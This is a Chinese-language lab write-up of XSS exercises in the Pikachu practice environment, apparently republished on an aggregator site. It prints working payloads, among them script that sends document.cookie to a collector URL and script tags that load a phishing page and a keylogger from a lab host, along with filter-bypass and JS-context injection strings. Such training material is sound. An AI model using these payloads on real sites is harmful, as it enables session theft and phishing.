日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

pikachu~~~XSS

發布時間:2023/12/20 编程问答 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pikachu~~~XSS 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

反射型xss(get)

反射性xss(post)

存儲型xss

DOM型xss

DOM型xss

盜取cookie:

get:

post:

釣魚:

獲取鍵盤輸入:


反射型xss(get)

先輸入'"<>$223探測特殊字符是否被過濾

顯然么有,并且get型還直接把傳入的信息以URL的方式傳了過去

既然字符無保護,那咱們直接執行一個<script>alert('look')</script>

F12修改最大值

那我們重新進入一次,看它是否會繼續彈窗,發現并沒有,所以他是一次性的

反射性xss(post)

post是要通過表單提交信息,先登入

和上面一樣,對特殊字符檢查,發現并無過濾

但是細心的我們可以發現,

傳入參數不在URL顯示了,而是在request body中。

并且輸入時無長度限制

并且post前進和回退仍然會再次提交信息并彈窗

彈窗成功

存儲型xss

字符并無過濾,

這里將輸入動態的生成到了js中,形成xss

輸入<script>alert('look')</script>或JavaScript:alert('js')仍會彈窗,

回退后也會存儲,

與反射性post不同的是重新訪問此頁面,之前的信息仍然在

說明我們輸入的信息被存儲到了后臺中

講這個例子主要是為了讓你明白,輸出點在js中的xss問題,應該怎么修?
這里如果進行html的實體編碼,雖然可以解決XSS的問題,但是實體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用。
所以在JS的輸出點應該使用\對特殊字符進行轉義

DOM型xss

發現是通過click me按鈕觸發domxss

將得到的信息以字符串拼接到a標簽

此時我們只需閉合a標簽即可

?

<a href=''>what do you see?</a>
<a href='' οnclick="alert('js')">' >what do you see?</a>
payload:
' οnclick="alert('js')">

'><img src=x οnerrοr=alert('xss')><a href='#

前端的輸入被DOM獲取到,通過DOM在前端輸出,前端不會保存,也不會走后端,但是也是一個寫程序的漏洞。

DOM型xss

http://192.168.241.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27js%27%29%22%3E#

盜取cookie:

get:


<script>document.location='http://192.168.241.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

攻擊鏈接:

http://192.168.241.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.241.1%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

post:

http://192.168.241.1/pikachu/pkxss/xcookie/post.html

釣魚:

?

<script src="http://192.168.241.1/pikachu/pkxss/xfish/fish.php"></script>

后臺會記錄獲取信息

獲取鍵盤輸入:


<script src="http://192.168.241.1/pikachu/pkxss/rkeypress/rk.js"></script>

后臺會記錄獲取信息

Dom型xss-x

跟上一樣,還是先來看看代碼邏輯, 它從url獲取參數text的值然后組合出一個新的鏈接返回前端。

function domxss(){
??? var str = window.location.search; //取url后面的參數
??? var txss = decodeURIComponent(str.split("text=")[1]); //url解碼
??? var xss = txss.replace(/\+/g,' ');
//? alert(xss);
??? document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
??? }
?? //試試:'><img src="#" οnmοuseοver="alert('xss')">
?? //試試:' οnclick="alert('xss')">,閉合掉就行

請說出你的傷心往事按鈕取text組成個新鏈接,新鏈接的參數可控造成取值時的xss。 payload和上題一樣,只是參數的傳遞過程不一樣。

XSS盲打

就是攻擊者在沒有回顯的情況下打xss payload, 可能的利用場景就是留言處,留言者看不到寫入的內容,管理員可以從后臺看到并觸發惡意腳本,常被用來竊取cookie。

XSS過濾

過濾了script,通過或者 等標簽就可以觸發了。

<img src=x οnerrοr=alert(1)>

常見繞過方式:

??? 大小寫

XSS之htmlspecialchars

php的htmlspecialchars() 函數就是把預定義的字符轉換為 HTML 實體。

預定義的字符是:

??? & (和號)成為 &
??? " (雙引號)成為 "
??? ’ (單引號)成為 ’
??? < (小于)成為 <&“
??? > (大于)成為 >

默認配置的htmlspecialchars不會轉義’,測試思路是將這些符號輸入一遍,看哪些符號會被轉義。如我們輸入111<>'",查看返回結果里面源碼這些字符已經被轉換成預定義的實體編碼了,除了單引號沒被轉換。

<a href='111&lt;&gt;&quot;'&amp;'>

針對單引號來構造閉合為a標簽添加新的屬性繞過,如構造payload

#' οnclick='alert(1)'

填充完原頁面就完整代碼如下,點擊此標簽就觸發了xss

<a href='#' οnclick='alert(1)''>#' οnclick='alert(1)'</a>

XSS之href

直接通過偽協議觸發href,點擊偽協議的超鏈接觸發xss。payload如:

javascript:alert(1);

防止href里面偽協議造成的xss可以通過限制開頭必須是http或者https來實現

XSS之JS輸出

這適用于可控變量輸出在前端<script>的情況,測試思路是先隨便輸入一段字符提交,然后查看源碼Ctrl + F查找剛才隨便輸入的字符串定位到代碼。如我通過輸入asdf并查找定位到了asdf對應的輸出位置。

<script>
??? $ms='asdf';
??? if($ms.length != 0){
??????? if($ms == 'tmac'){
??????????? $('#fromjs').text('tmac確實厲害,看那小眼神..')
??????? }else {
??????? // alert($ms);
??????????? $('#fromjs').text('無論如何不要放棄心中所愛..')
??????? }

??? }
</script>

?

構造payload,如:

tmac';alert(1);//

payload填入原輸出位置就會變成

?<script>
??? $ms='tmac';alert(1);//';
?? ?......
?</script>

相當與在原來的基礎上插入了一段彈窗代碼,xss利用成功。
XSS大致類型如上,防御可以歸結為:輸入時過濾,輸出是轉義,更多的還是要在實戰中學習。
?

?

?

總結

以上是生活随笔為你收集整理的pikachu~~~XSS的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。